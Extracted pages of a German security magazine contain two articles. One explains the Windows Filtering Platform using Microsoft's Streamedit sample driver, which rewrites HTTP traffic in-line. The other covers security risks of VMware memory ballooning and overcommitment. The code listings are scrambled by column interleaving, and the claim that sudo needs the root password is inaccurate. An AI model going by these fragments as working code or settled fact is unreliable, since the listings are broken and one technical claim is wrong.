zurück in den TCP/IP-Stack leitet und somit verwirft. Die geklonten Daten werden
Abbildung 3. Sequenzdiagramm – Stream-Daten-Filterung mittels WFP.
hakin9.org/de
13
SICHERHEITSANWENDUNGEN
dann untersucht und ggf. später wieder in den TCP/IPStack injiziert. Nach der erneuten Injektion setzen sie ihren Weg durch den Stack fort. Bevor allerdings näher auf die Filterung eingegangen wird, müssen die Filter erst mal beim Start des Kernel-Mode Treiber initialisiert werden.
Initialisierung des Treibers Jeder Treiber muss über zwei Funktionen verfügen: DriverEntry und DriverUnload. DriverEntry ist hierbei der Einstiegspunkt beim Starten des Treibers, gleichzusetzen mit der Funktion int main(int argc, char* argv[]) und DriverUnload die Funktion, die aufgerufen wird, wenn der Treiber beendet wird. Im Streamedit-Beispiel werden innerhalb der DriverEntry-Funktion die üblichen Initialisierungen des Treibers vollzogen, auf die hier nicht weiter eingegangen wird. Der erste wichtige WFP-Punkt im Streamedit-Beispiel ist der, wo Speicherplatz in Form einer Memory Decriptor List (MDL) zum Ersetzen des gefundenen Wortes reserviert wird. Das nachfolgende Listing stammt aus Zeile 562 der stream_callout.c. Einhergehend mit dem Next generation network driver stack hat Microsoft in NDIS 6.0 das Datenformat innerhalb des Windows Netzwerkstack grundlegend erneuert. Seither werden alle Daten, die über das Netzwerk versendet oder empfangen werden, in NET_BUFFER_LIST (NBL)-Ketten verpackt. Wie in Abbildung 4 dargestellt, bestehen diese Ketten aus einer verketteten Anzahl an NET_BUFFER (NB)-Strukturen und diese schlussendlich aus den MDL-Strukturen, wovon eine in der DriverEntry-Funktion des Streamedit-Beispiels erstellt wird. Die Erstellung geschieht vor dem Hintergrund, dass im späteren Verlauf die MDL des Suchwortes gegen die MDL des Ersetzungswortes ausgetauscht und somit das Wort selber ausgetauscht wird.
Um eine MDL im späteren Verlauf in die Netzwerkdaten einfügen zu können, wird seitens der WFP ein Injection-Handle benötigt. Listing 2 stammt aus Zeile 609 der stream_callout.c. Die Funktion FwpsInjectionHandleCreate zum Erstellen eines Injektion-Handle erwartet als ersten Parameter die TCP/IP-Protokollversion, für die es Daten injizieren soll. AF_UNSPEC steht hierbei sowohl für IPv4 als auch IPv6. AF_UNSPEC ist allerdings nur für Injektionen auf dem Transport-Layer und Stream-Layer möglich. Für alle anderen Layer innerhalb der KMFE muss explizit angegeben werden, ob der Handle für IPv4 (AF_INET) oder IPv6 (AF_INET6) erstellt werden soll. Da hier im zweiten Parameter der Stream-Layer mittels FWPS_INJECTION_TYPE_ STREAM ausgewählt wird, kann AF_UNSPEC verwendet werden.
Kontakt zur Filter Engine Um Filter und ihre Subkomponenten über die Schnittstellen der BFE oder KMFE hinzufügen zu können, wird eine Verbindung dorthin benötigt. Eine solche Verbindung zur BFE oder KMFE wird, wie beim Injection-Handle, durch einen Handle repräsentiert. Im Streamedit-Beispiel wurde dieser Teil in der Funktion StreamEditRegisterCallout zusammengefasst. Listing 3 zeigt den Verbindungsaufbau zur KMFE und bezieht sich auf die Zeile 265 der stream_callout.c. Mittels der Funktion FwpmEngineOpen wird ein EngineHandle erstellt. Hierbei ist vor allem der vierte Parameter von Interesse. Durch die Session ist es möglich, die Lebensdauer der installierten Filter zu definieren. In diesem Beispiel wird die Session mit dem FWPM_SESSION_ FLAG_DYNAMIC Flag versehen. Das bedeutet, dass alle Objekte, die innerhalb des aktuellen Engine-Handle installiert werden, nur solange in der KMFE verbleiben, wie die Session und der Treiber laufen. Wird der Treiber be-
Abbildung 4. Datenstrukturen der Netzwerkdaten ab NDIS 6.0. Quelle: [8]
14
1/2011
Windows Filtering Platform Netzwerkdatenfilterung unter Windows
endet, werden alle WFP-Objekte des Treibers automatisch aus der KMFE entfernt. Unter den Filtern und ihren Subkomponenten, die zur KMFE hinzugefügt werden sollen, existieren oftmals Abhängigkeiten. Deswegen muss im weiteren Verlauf des Listing 3 eine Transaktion mittels FwpmTransactionBegin gestartet werden. Die Transaktion garantiert, wie bei einer Datenbank-Transaktion, dass alle Objekte erfolgreich hinzugefügt werden oder im Fehlerfall kein Objekt hinzugefügt wird. Die Fehlerbehandlung wurde in den Listings dieses Artikels aus Platzgründen ausgelassen, findet sich aber im Streamedit-Beispiel.
Erstellen der Filter Mittels der Funktion RegisterCalloutForLayer werden im Streamedit-Beispiel nicht nur, wie der Name vermuten lässt, Callouts auf einem Layer registriert. Diese Funktion ist die zentrale WFP-Konfigurationsfunktion des Beispiels. In ihr werden die eigentlichen WFP-Komponenten erstellt und der KMFE hinzugefügt. Im Streamedit-Beispiel werden durch die Funktion zwei Filter samt Bedingung und ihrem Callout erstellt. Beide Filter ar-
beiten auf dem Stream-Layer der KMFE. Sie haben die Bedingung, dass sie lediglich Netzwerkdaten auf Quell- oder Ziel-Port 5001 filtern sollen. Das Listing 4 zeigt nicht die generische Implementierung der Funktion wie im Streamedit-Beispiel, sondern wie sie konkret die einzelnen Parameter des Filters und des Callouts für den IPv4-Filter setzt, damit diese nachfolgend näher betrachtet werden können. Dies ist vergleichbar mit dem Aufruf der RegisterCalloutForLayer aus Zeile 291. Im nachfolgenden Listing wurde die Filterbedingung aus Platzgründen ausgelassen. Es wird hier auf die MSDNReferenz verwiesen[9]. Das Listing 4 lässt sich thematisch in zwei Teile teilen. Einerseits die Registrierung des Callout am Anfang und im späteren Verlauf die Erstellung des Filters, der den Callout nutzt. Damit ein Callout in der KMFE registriert werden kann, muss dieser drei Anforderungen erfüllen. Erstens muss er eindeutig identifizierbar sein, was durch einen Globally Unique Identifier (GUID) erfolgt. Als Zweites und Drittes muss er zwei Funktionszeiger besitzen. Die Funktionszeiger müssen auf Funktionen zeigen, die der Filter aufgerufen kann und in denen die
Listing 4. Callout- und Filter-Erstellung
FWPM_SUBLAYER_UNIVERSAL;
// Teil 1: Register Callout
filter.weight.type = FWP_EMPTY;
FWPS_CALLOUT sCallout = {0};
status = FwpmFilterAdd(
// 1. ¡
gEngineHandle,
sCallout.calloutKey =
&filter,
STREAM_EDITOR_STREAM_CALLOUT_V4;
NULL, NULL);
sCallout.classifyFn = StreamInlineEditClassify; // 2.
Listing 5. MDL Konvertierung
sCallout.notifyFn = StreamEditNotify; // 3.
FwpsCopyStreamDataToBuffer( streamData,
status = FwpsCalloutRegister(
(BYTE*)streamEditor->scratchBuffer
deviceObject,
+ streamEditor->dataLength,
&sCallout,
streamData->dataLength,
calloutId
&bytesCopied );
);
Listing 6. Daten-Injektion status = FwpsStreamInjectAsync(…)
// Teil 2: Register Filter
…
FWPM_FILTER filter = {0};
ioPacket->streamAction = FWPS_STREAM_ACTION_NONE;
filter.layerKey = FWPM_LAYER_STREAM_V4; filter.action.type = FWP_ACTION_CALLOUT_TERMINATING;
ioPacket->countBytesEnforced = findLength; classifyOut->actionType = FWP _ ACTION _ BLOCK;
filter.action.calloutKey = STREAM_EDITOR_STREAM_CALLOUT_V4; filter.subLayerKey =
hakin9.org/de
15
SICHERHEITSANWENDUNGEN
Datenbehandlung und Entscheidungsfindung stattfindet. Es gibt einmal die classify-Funktion (classifyFn), der der Filter alle Netzwerkdaten zur benutzerdefinierten Filterung übergibt und von der der Filter die Filter-Entscheidung erwartet. Die andere Funktion ist die notifyFunktion (notifyFn). Diese wird von der KMFE aufgerufen, sobald ein Filter hinzugefügt oder entfernt wird, der den Callout verwendet. Diese kann zur Initialisierung Callout-interner Strukturen verwendet werden. Die Registrierung eines Filters ist im Gegensatz zum Callout etwas aufwendiger. Als erstes wird über das layerKey Strukturelement angegeben, auf welchem KMFE-Layer der Filter arbeiten soll. Da die KMFE über 70 verschiedene Layer[4] besitzt, hat der Entwickler die Qual der Wahl, den für seine Filterung richtigen zu finden. Innerhalb der KMFE gibt es Layer, wie im voran gegangenen Listing der FWPM_LAYER_STREAM_V4 Stream-Layer, die von allen TCP Netzwerkdaten durchlaufen werden. Sie eignen sich, wie im Streamedit-Beispiel ersichtlich, sehr gut zur Payload-Filterung. Andererseits gibt es Layer, wie dem FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4, dessen Filter lediglich einmalig dann von der KMFE aufgerufen werden, wenn eine TCP/IPv4-Verbindung mittels des Three-Way-Handshake vollständig hergestellt wur-
de. Zu beachten ist jedoch, dass je mehr Daten ein Filter filtern muss, desto ressourcenintensiver ist er. Aus diesem Grund sollte die Layer-Wahl wohl bedacht sein, um den Netzwerkstack nicht auszubremsen. Über das Strukturelement action.type wird der Filtertyp festgelegt. Im Beispiel ist es ein Typ, der dem Filter erlaubt ein Block oder ein Permit an die KMFE zurück zu geben. Andere Typen sind beispielsweise für Filter, die die Daten lediglich inspizieren und nicht verändern. Ein solcher Filter hätte dann als Type FWP_ACTION_CALLOUT_ INSPECTION. Manche Typen lassen sich lediglich dann auswählen, wenn der Filter über einen Callout verfügt. Um einen Filter mit einem Callout zu verbinden, muss das Strukturelement calloutKey des Filters, wie in Listing 4, mit der GUID des Callouts versehen werden. In diesem Beispiel werden lediglich zwei Filter installiert, die auf unterschiedlichen IP-Protokollversionen arbeiten. Sie sind nicht voneinander abhängig und beeinflussen oder ergänzen sich nicht gegenseitig. Aus diesem Grund reicht es, wenn beide Filter einfach dem universellen Sublayer zugeordnet werden und eine FWP_ EMPTY-Gewichtung besitzen. Sie sorgt für eine zufällige Gewichtung innerhalb des gewählten Sublayer. Sollen sich hingegen zwei Filter gegenseitig ergänzen, so
Abbildung 5. Ablauf der String-Ersetzung mittels Injektion.
16
1/2011
Windows Filtering Platform Netzwerkdatenfilterung unter Windows
müssen sie mittels ihrer Gewichtung und dem Sublayer, der auch eine Gewichtung besitzt, in die richtige absteigend sortierte Aufrufreihenfolge gebracht werden. Es kann an dieser Stelle leider nicht näher auf die Gewichtung eingegangen werden, da sie sehr umfangreich ist. Weitere Informationen finden sich dazu in der WFP-Dokumentation[10].
Filterung der Netzwerkdaten Im Listing 4 wurde der Funktionszeiger der classifyFn auf StreamInlineEditClassify gesetzt. Dies ist nun auch die Einstiegsfunktion zur Netzwerkdatenfilterung. Sie befindet sich in Zeile 413 der inline_edit.c. Die Signatur der Classify-Funktion eines Callouts hat sich zwischen Windows Vista und Windows 7 geändert, sodass, falls beide Betriebssysteme unterstützt werden sollen, dort eine Preprozessor-Unterscheidung gemacht werden muss. Die Funktion ist im Streamedit-Beispiel sehr einfach gehalten und prüft lediglich die Datenflussrichtung der zu untersuchenden Netzwerkdaten. Der StreamLayer, auf dem der Filter arbeitet, ist ein bidirektionaler Filter-Layer. Das bedeutet, dass dem Callout sowohl Netzwerkdaten übergeben werden, die gesendet als auch empfangen werden. In dem Beispiel wird allerdings nur eine Richtung gefiltert, was in den Konfigurationen in Zeile 66 der stream_callout.c Datei eingestellt werden kann. Die Filterung erfolgt in diesem Beispiel auf dem Stream-Layer der KMFE. Dies hat den Hintergrund, dass sich hier die NBL sehr komfortabel in einen BytePuffer konvertieren lässt. Das Listing 5 zeigt einen Ausschnitt der Funktion StreamCopyDataForInspection, welche in Zeile 531 in der Datei stream_callout.c definiert ist. Der Funktion wird die Struktur FWPS_STREAM_DATA0 übergeben, welche sich aus dem Parameter layerData der
ClassifyFn-Funktion
extrahieren lässt. Es ist lediglich erforderlich, dass zuvor ausreichend viel Speicher allokiert wurde, in den der Payload kopiert wird. Die Größe des Puffers lässt sich ebenfalls aus der zuvor genannten Datenstruktur auslesen. Sobald die Daten in den Byte-Puffer überführt wurden, ist es relativ leicht ihn auf gewisse Inhalte hin zu überprüfen. Wie in Zeile 240 in der Datei inline_edit.c ersichtlich ist, wird der Byte-Puffer Byte für Byte durchlaufen und mittels RtlCompareMemory mit dem Sucheintrag verglichen. Wurde der Sucheintrag im Byte-Puffer gefunden, wird in Zeile 257 der Datei inline_edit.c der KMFE durch den Strukturschlüssel countBytesEnforced mitgeteilt, dass sie die Daten bis zum Suchtreffer weitersenden darf. Sobald die Funktion des Callout beendet ist, führt die KMFE die Aktion aus und ruft den Callout mit den Restdaten erneut auf. Diesmal steht der Sucheintrag direkt am Anfang. Der Callout springt deswegen direkt zum Injection-Handle und injiziert die MDL des Ersatzworts in den Netzwerkpfad. Das Listing 6 zeigt einen Ausschnitt des Injektionsvorgangs. Sobald die Dateninjektion erfolgreich war und der Ersatzeintrag versendet wurde, werden, wie zuvor über countBytesEnforced, der KMFE mitgeteilt, dass nun genau findLength an Bytes verarbeitet werden sollen. Als Aktion wird FWP_ACTION_BLOCK angegeben, sodass die Daten, die genau den Sucheintrag enthalten, blockiert werden. Nachdem die ClassifyFn-Routine des Callout beendet ist, führt die KMFE die Aktion erneut aus und ruft die Funktion mit den Restdaten wieder auf. Nun kann die Suche von neuem beginnen. Die drei Schritte sind nachfolgend in Abbildung 5 mittels eines Sequenzdiagrammes veranschaulicht. Bei diesem Beispiel werden die Daten GET search?q=rainy&hl=de nach dem Eintrag rainy durchsucht und dieser durch sunny ersetzt.
Abbildung 6. Streamedit-Ergebnis anhand von Google.
hakin9.org/de
17
SICHERHEITSANWENDUNGEN
Im Internet: [1] Einstiegsseite zur Windows Filtering Platform: http://msdn.microsoft.com/en-us/library aa366510%28v=VS.85%29.aspx [2] Transport Driver Interface (TDI): http://msdn.microsoft.com/en-us/library/ms819740.aspx [3] Architekturbild der WFP: http://msdn.microsoft.com/en-us/library/aa366509%28v=VS.85%29.aspx [4] Liste der ca. 70 Filter Layer der WFP: http://msdn.microsoft.com/en-us/library/aa366492%28v=VS.85%29.aspx [5] Windows Driver Kit (WDK): http://www.microsoft.com/whdc/devtools/wdk/wdkpkg.mspx [6] WFP Streamedit-Beispiel: http://msdn.microsoft.com/en-us/library/ff571071%28VS.85%29.aspx [7] Kompilerfehler Visual Studio 2010 unter Windows 7 http://forums.peerblock.com/read.php?3,6884,6887#msg-6887 [8] NDIS 6.0 Datenstrukturabbildung: http://msdn.microsoft.com/en-us/library/ff568355%28v=VS.85%29.aspx [9] WFP Filterbedingungen: http://msdn.microsoft.com/en-us/library/aa363994%28v=VS.85%29.aspx [10] WFP Filter- und Sublayer-Gewichtung: http://msdn.microsoft.com/en-us/library/aa364008%28v=VS.85%29.aspx
Umstellen des Port Um den Filter einfacher testen zu können, sollte die Variable configInspectionPort in Zeile 65 der Datei stream_ callout.c auf den Wert 80, was dem HTTP Port entspricht, geändert werden sowie die beiden Variablen in den Zeilen darunter auf TRUE. Durch die Änderung auf Port 80 lassen sich die Filter, wie in Abbildung 4 zu sehen, einfach mittels einer Browser-Anfrage testen. Über die beiden anderen Variablen wird eingestellt, dass die Filter die ausgehenden Netzwerkdaten filtern und dazu die erläuterte inline_edit Methode verwenden.
Kompilieren und Starten Das WDK-Streamedit-Beispiel lässt sich mittels der Build-Umgebungen des WDK kompilieren. Wenn das WDK installiert ist, finden sich im Startmenü unter dem Eintrag Windows Driver Kits die Build Environments. Zu beachten ist, dass die x64-Versionen von Windows eine Treibersignatur verlangen. Die WDK-Beispiele lassen sich deswegen nur unter der x64-Version starten, wenn beim Starten von Windows über das F8-Startmenü die Treibersignatur temporär deaktiviert wird. Es ist generell empfehlenswert, Treiber in einer virtuellen Umgebung zu testen, um Schäden am Hauptsystem zu vermeiden. Zur Kompilierung muss die zum Zielsystem passende Checked-Build-Umgebung gestartet werden. Diese ist ein einfaches Kommandozeilenprogramm. Es muss damit in das betreffende Quellcodeverzeichnis gewechselt werden und dann lediglich build eingegeben werden. Dann wird im Zuge der Kompilierung ein neues Unterverzeichnis im Quellcodeverzeichnis angelegt, in dem sich der Treiber als *.sys-Datei befindet. Um den WFPFilter nun zu starten, muss er zuerst installiert werden. Dies geschieht über die *.inf-Datei im Quellcodeverzeichnis, die bislang außer Acht gelassen wurde. Wenn mittels der rechten Maustaste auf die *.inf-Datei geklickt wird, erscheint im Kontextmenü der Eintrag Installieren, über den der Treiber im System installiert werden kann. Sobald auf diesen Kontextmenüeintrag geklickt wurde, fragt Windows nach dem Ort, wo sich der Treiber befindet. Hier muss im neuen Unterverzeichnis die *.sys-
18
Datei ausgewählt werden. Danach kann der Treiber in der Eingabeaufforderung mittels des Befehls net start stmedit gestartet und mittels net stop stmedit wieder gestoppt werden. Sobald der Treiber läuft, kann vergleichbares wie in Abbildung 6 erzeugt werden. Eingegeben wird rainy und google sucht nach sunny.
Fazit
Die Windows Filtering Platform[1] ist eine sehr mächtige und einheitliche Plattform zum Filtern der Netzwerkdaten unter Windows Vista, Windows 7, Windows Server 2008 und zukünftigen Windows-Versionen. Sie bietet ca. 70 verschiedene Layer an, auf denen Filter die gesamten oder einen speziell ausgewählten Teil der Netzwerkdaten des jeweiligen Netzwerkprotokolls filtern können. Die hier vorgestellte inline_edit-Methode zum Filtern der Netzwerkdaten ist die einfachere und schnellere Variante. Innerhalb dieser Variante wird die Untersuchung direkt in den Daten, die den TCP/IPStack passieren, vollzogen und ggf. Teile der Daten, die nicht versendet oder empfangen werden sollen, blockiert. Die hier nicht besprochene out-of-band-Filterung, die in der oob_edit.c enthalten ist, ist um einiges umfangreicher. Sie klont die Daten des TCP/IP-Stack und blockiert die originalen Daten. Die geklonten Daten können dann beispielsweise aus dem Kernel-Mode zurück in den User-Mode gereicht und dort untersucht werden ohne, dass der Netzwerkstack während der Untersuchung blockiert wie es bei der inline_edit-Methode der Fall wäre.
RENÉ ESPENHAHN Der Autor ist Masterstudent im Studiengang Informatik – Verteilte und Mobile Anwendungen im Fachbereich I&I der Hochschule Osnabrück. Nebenberuflich ist er selbstständiger Softwareentwickler. Er ist Administrator und erster Entwickler der Motorradplattform SVrider.de. Kontakt mit dem Autor:
[email protected] [email protected]
1/2011
PRAXIS
Schwachstellen bei der Ressourcenoptimierung im virtuellen Raum Steve Hampicke
Die Virtualisierung von physischen Systemen gewinnt mehr und mehr an Bedeutung. Mittlerweile ein alter Hase unter den Virtualisierungsarten ist die Servervirtualisierung. Sie hat sich bereits in Unternehmen und Behörden etabliert und verdrängt erfolgreich die „alte“ physische Serverstruktur. IN DIESEM ARTIKEL ERFAHREN SIE…
WAS SIE VORHER WISSEN SOLLTEN…
• Grundlagen zu den Speicherfunktionen (Memory Overcommitment, Ballooning) der Virtualisierungslösung VMware vSphere 4 • Sicherheitsanalyse der oben genannten Funktionen auf Basis des Bausteins der Virtualisierung vom Bundesamt für Sicherheit in der Informationstechnik (BSI)
• Grundkenntnisse zum Thema Virtualisierung allgemein • Grundkenntnisse zum Thema Sicherheit
U
nternehmen und Behörden versprechen sich durch den Einsatz der Virtualisierung Kosteneinsparungen durch eine Reduzierung der ServerHardware, Senkung der Energie und Minimierung des benötigten Platzes im Rechenzentrum. Doch die Virtualisierung von Servern bringt durch die neuen Techniken auch zusätzliches Gefahrenpotential gegenüber physischen Servern mit sich.
Untersuchung sicherheitsrelevanter Eigenschaften von Memory Overcommitment und Ballooning Aktuell eine der am meisten verwendeten Servervirtualisierungslösungen kommt von der Firma VMware und ist momentan in der Version vSphere 4 erhältlich. Die Lösung besteht hauptsächlich aus dem ESX- und einem Verwaltungsserver (vCenter Server) und nutzt Technologien wie
Abbildung 1. „total” Memory Overcommitment
20
1/2011
Schwachstellen bei der Ressourcenoptimierung im virtuellen Raum
Snapshots, Memory Overcommitment oder das Ballooning. Administratoren wird dadurch eine Vielzahl an Planungsund Konfigurationsmöglichkeiten für den Einsatz der neuen Technik geboten. Zunächst eine kurze Einführung. Das Memory Overcommitment, die Überbuchung des Arbeitsspeichers, ist ein wichtige Technologie bei der Arbeit mit virtuellen Welten. Da sie mit einer Speichermanagementtechnik des ESX(i) realisiert wird, kann die virtuelle Maschine mehr Speicher nutzen, als physisch vorhanden ist. Mit dem „totalen“ Memory Overcommitment und dem „aktiven“ Memory Overcommitment gibt es zwei Arten. Unter „total“ Overcommitment versteht man, was gemeinhin als Memory Overcommitment bezeichnet wird. Es ergibt sich aus der Summe des konfigurierten Speichers der virtuellen Maschinen und durch den verfügbaren Host-Speicher für die virtuellen Maschinen (Abb. 1). Die zweite Art, das „aktive“ Memory Overcommitment, ergibt sich aus der Summe des aktiven Speichers der virtuellen Maschinen. Ist das Ergebnis größer Eins, so besteht eine hohe Wahrscheinlichkeit, dass es zu einem Leistungsabfall der virtuellen Maschine kommt (Abbildung 2). Tritt dieser hohe Leistungsabfall auf, sollte die virtuelle Maschine mittels vMotion auf einen anderen Host übertragen werden. Da der Reservierungsparameter eine große Bedeutung in diesem System hat, sollte er von Anfang an geschickt gewählt werden. Er sollte immer den kompletten aktiven Speicher im physischen Speicher haben, um somit eine gute Performance erreichen zu können. Der Speicher, der sich im Leerlauf befindet und der freie Speicher können durch das Ballooning genutzt werden. Ballooning-Technik ermöglicht eine dynamische Anpassung der virtuellen Umgebung. Dies geschieht durch den Balloon-Treiber (vmmemctl), der durch die VMwareTools in das jeweilige Betriebssystem einer virtuellen Maschine integriert wird. Der Treiber belegt gezielt den Hauptspeicher, der vom Gast-Betriebssystem am wenigsten benutzt wird. Das Gast-Betriebssystem muss nun seinen eigenen Speicherverwaltungsalgorithmus nutzen. Sollte der Speicher zu knapp sein, wird festgelegt, welche Seiten zurück-
gewonnen werden und welche auf die virtuelle Festplatte auszulagern sind. Der durch den Balloon- Treiber belegte Speicherplatz wird durch den Hypervisor erkannt und kann nun an andere virtuelle Systeme vergeben werden. Der Ablauf ist in Abbildung 3 dargestellt. Speicherengpässe können so kurzzeitig ausgeglichen werden. Vorgehensweise: • • • •
Balloon-Treiber belegt Speicher Balloon-Treiber markiert belegten Speicher Gast kann anderen Speicher zurückfordern Balloon-Treiber teilt Hypervisor mit, welcher Speicher ihm zugeteilt ist • Hypervisor macht den zugeteilten Speicher frei • Hypervisor besitzt nun mehr freien physischen Speicher Mithilfe des Parameters sched.mem.maxmemctl kann die Summe des Speichers bestimmt werden, die vom Balloon-Treiber maximal eingenommen werden kann. Dieser Parameter kann mittels vSphere Client geändert werden. Eine Anwendungsempfehlung hierfür ist: • Auf allen virtuellen Maschinen sollten die VMwareTools installiert werden und das Ballooning aktiviert werden. • Das Gast-Betriebssystem sollte außerdem genug Platz für die Auslagerungsdatei besitzen.
Potentielle Gefahren Die Auswirkungen der Servervirtualisierung auf administrative und betriebliche Prozesse können beträchtlich sein. Aus der Sicherheitsperspektive betrachtet, bringen die neuen Techniken, wie das Memory Overcommitment und Ballooning, ein zusätzliches Gefahrenpotential gegenüber physischen Servern mit sich. So werden zum Beispiel zunehmend mehr firmenkritische Anwendungen in einer virtuellen Umgebung betrieben. Welche Virtualisierungssoftware dabei von den
Abbildung 2. “aktives” Memory Overcommitment
hakin9.org/de
21
PRAXIS
Unternehmen genutzt wird, hat ITIC und Stratus untersucht und dabei herausgefunden, dass 71 Prozent der Unternehmen die Software von VMware einsetzt. 28 Prozent setzten auf Microsoft und 9 Prozent wenden Virtualisierungslösungen von Citrix an. Laut einer aktuellen Umfrage von ITIC und Stratus, bei der 500 IT-Experten aus 19 Ländern befragt wurden, gaben 42% an, dass ein Viertel bis zur Hälfte der Anwendungen in ihren Unternehmen unternehmenskritisch seien. Bei PC-WARE beobachten wir einen ähnlichen Trend. In 78% der Unternehmen laufen diese kritischen Anwendungen auf virtuellen Maschinen. Um deren Sicherung gewährleisten zu können, ist es für jeden IT-Manager essentiell zu wissen, wo Gefahrenquellen liegen können. Das Bundesamt für Sicherheit in der Informationstechnik (BSI) gibt hierzu folgende Gefährdungsbereiche in virtuellen Infrastrukturen an:
Anwendungen in einer virtuellen Maschine auch vom Hersteller der Anwendungssoftware unterstützt werden. Möglicherweise kann es passieren, dass der Hersteller keinen Support anbietet, sobald das Produkt in einer virtuellen Umgebung betrieben wird. Ist dies geklärt, kommt die Wahl der Virtualisierungssoftware und in diesem Zusammenhang, die Auswahl des richtigen Servers. Dabei spielt die Planung der Kommunikationsverbindungen zum Server eine wichtige Rolle. Die Entwicklung einer Strategie für das Netz- und Systemmanagement ist ebenfalls nicht außer Acht zu lassen. Für den richtigen Umgang mit den einzelnen Planungsschritten empfehlen sich die IT-Grundschutz- Kataloge des BSI. Sie listen die einzelnen Gefährdungen und die dazu passenden Gegenmaßnahmen auf und vermitteln so einen sicheren IT-Betrieb.
• • • •
Menschliche Fehlhandlungen sind immer eine Gefahrenquelle innerhalb von IT Infrastrukturen und deren Management. Häufig werden Konfigurationen unzureichend getestet oder Administratoren unzureichend ausgebildet. Die Zugangsrechte zu virtuellen Maschinen und deren Anwendungen sollten nur in dem Umfang eingeräumt werden, wie sie für die Erfüllung der Aufgaben erforderlich sind. Dabei kann eine fehlerhafte Administration der Rechte zu Betriebsstörungen und Sicherheitslücken führen. In Verbindung mit dem Ballooning gibt es die Gefahr, dass Benutzer die Gastwerkzeuge beenden und somit den Balloon-Treiber deaktivieren. Dies kann zu einem Speicherengpass der virtuellen Maschinen führen. Im Normalfall kann nur die Gruppe der Administratoren die
Organisatorische Mängel Menschliches Fehlverhalten Technisches Versagen Vorsätzliche Handlungen
In der Abbildung 4 ist eine Art zusammenfassendes Angriffsszenario zu sehen.
Organisatorische Mängel Da virtuelle Infrastrukturen meist eine hohe Komplexität aufweisen, sind eine gute Planung sowie eine Analyse der Rahmenbedingungen unausweichlich. Bereits hier können potentielle Gefahren entstehen. Bevor man an die richtige Auswahl des Virtualisierungsservers denkt, ist es wichtig zu wissen, ob die einzusetzenden
Menschliches Fehlverhalten
Abbildung 3. Ballooning-Verfahren
22
1/2011
Schwachstellen bei der Ressourcenoptimierung im virtuellen Raum
Gastwerkzeuge beenden. So kann in einem WindowsSystem nur der Administrator die Dienste im Taskmanager beenden oder den TASKKILL-Befehl in die Konsole eingeben. In einem Linux- System wird meist der killBefehl genutzt, um Prozesse zu beenden. Dieser kann jedoch nur mit dem sudo-Kommando gestartet werden, dass das Wissen des Root-Passwortes voraussetzt.
sourcenparameter in den Konfigurationsdateien ändern, um nur eine Auswahl möglicher Eingriffe zu nennen. Eine explizite Sicherung der Konsole ist damit unerlässlich und wird deshalb im folgenden Abschnitt noch einmal näher betrachtet.
Technisches Versagen Als technisches Versagen wird meist der Ausfall von Diensten in einer virtuellen Umgebung bezeichnet. Zudem fallen laut BSI noch Störungen der Netzinfrastruktur von Virtualisierungsservern, der Ausfall von Verwaltungsservern sowie der Ausfall von virtuellen Maschinen durch nichtbeendete Datensicherungsprozesse in die Gefahrenklasse des technischen Versagens.
Um die Überbuchungstechnik des Memory Overcommitment und das dazugehörige Ballooning optimal einzusetzen, empfiehlt es sich, die Gastwerkzeuge (VMwareTools) zu installieren. Sie werden mit sehr hohen Berechtigungen ausgeführt, um systemnah arbeiten zu können. Dadurch bekommt man die Möglichkeit, eine Überbuchung des Hauptspeichers zwischen dem Hypervisor und den virtuellen Maschinen zu koordinieren.
Vorsätzliche Handlung
Maßnahmen
Wohl am schwersten einzuschätzen, sind die Gefahren, die sich aus vorsätzlichen Handlungen ergeben. Sie können sich von einem harmlosen Rahmen bis hin zu einer verheerenden Situation bewegen. Die vorsätzlichen Handlungen können dabei als folgende Aktionen auftreten:
Die vorangegangene Analyse des Memory Overcommitment und Ballooning zeigt, welche Gefahren bei deren Einsatz entstehen können. Die Empfehlungen aus dem BSI IT-Grundschutzkatalogen bieten eine gute Grundlage, um ein ausgereiftes Sicherheitskonzept für virtuelle Welten zu erstellen. Fassen wir die wichtigsten zusammen.
• • • •
Angriffe gegen das Management (Servicekonsole) Angriffe gegen den Hypervisor Angriffe gegen das Gast-Betriebssystem Angriffe gegen den Festplattenspeicher
Da die Servicekonsole die meisten Schwachstellen aufweist, stellt sie einen der größten Gefahrenherde dar. Sollte ein Angreifer Zugang erlangen und über root-Rechte verfügen, besitzt er die volle Verwaltungskontrolle über den Host. Auf diese Weise könnte er Netzwerkeinstellungen manipulieren oder die Res-
Missbräuchliche Nutzung von Gastwerkzeugen in virtuellen Maschinen
Planung der virtuellen Infrastruktur Eine sorgfältige Planung ist wie in allen Projekten essentiell für eine erfolgreiche Umsetzung. Die richtige Technik und funktionierende Produkte müssen sorgfältig ausgewählt werden. Auf diesen Schritt folgt die Verteilung der Kompetenzen in einer virtuellen Infrastruktur um einen reibungslosen Betrieb und eine klare Abgrenzung der Aufgaben zu gewährleisten. Bei der Einsatzplanung für den Virtualisierungsserver müssen jedoch ein paar Besonderheiten beachtet
Abbildung 4. Zusammenfassendes Angriffsszenario
hakin9.org/de
23
PRAXIS
werden. Da auf ihm mehrere virtuelle Maschinen betrieben werden, sollte vorher bestimmt werden, wie viel Prozessorleistung, Hauptspeicher und Festplattenplatz benötigt wird. Dazu müssen die Performance und der Ressourcenverbrauch für die geplanten virtuellen Maschinen ermittelt werden. Möchte man bereits vorhandene physische Systeme virtualisieren, kann der Ressourcenbedarf für die einzelnen Systeme nicht einfach addiert werden. Das BSI empfiehlt hier, die Performance der verschiedenen Systeme zu messen und auf dieser Basis die Werte festzulegen. Außerdem sollte man beachten, dass die Virtualisierungssoftware (Snapshots, Auslagerungsdatei, Ereignisprotokolle) sowie der Hypervisor (Servicekonsole) weitere Ressourcen benötigen.
Einsatzplanung für virtuelle Maschinen Um einen reibungslosen Betrieb der virtuellen Maschinen gewährleisten zu können, muss bezüglich ihrer Lebenszyklen vielerlei beachtet werden. Bevor die virtuellen Maschinen in Betrieb genommen werden, sollten ihre realistischen und angemessenen Ressourcenanforderungen bestimmt werden. Danach ist zu prüfen, ob eventuelle Leistungseinschränkungen bei gelegentlichen Lastspitzen hingenommen werden können oder nicht. Zusätzlich muss die Performance virtueller Maschinen überwacht werden, um sicherzustellen, dass die Ressourcenanforderungen ausreichend erfüllt wer-
den. Um Ressourcenengpässe früh zu erkennen, muss ein Prozess integriert werden. Nur so kann man schnell genug darauf reagieren.
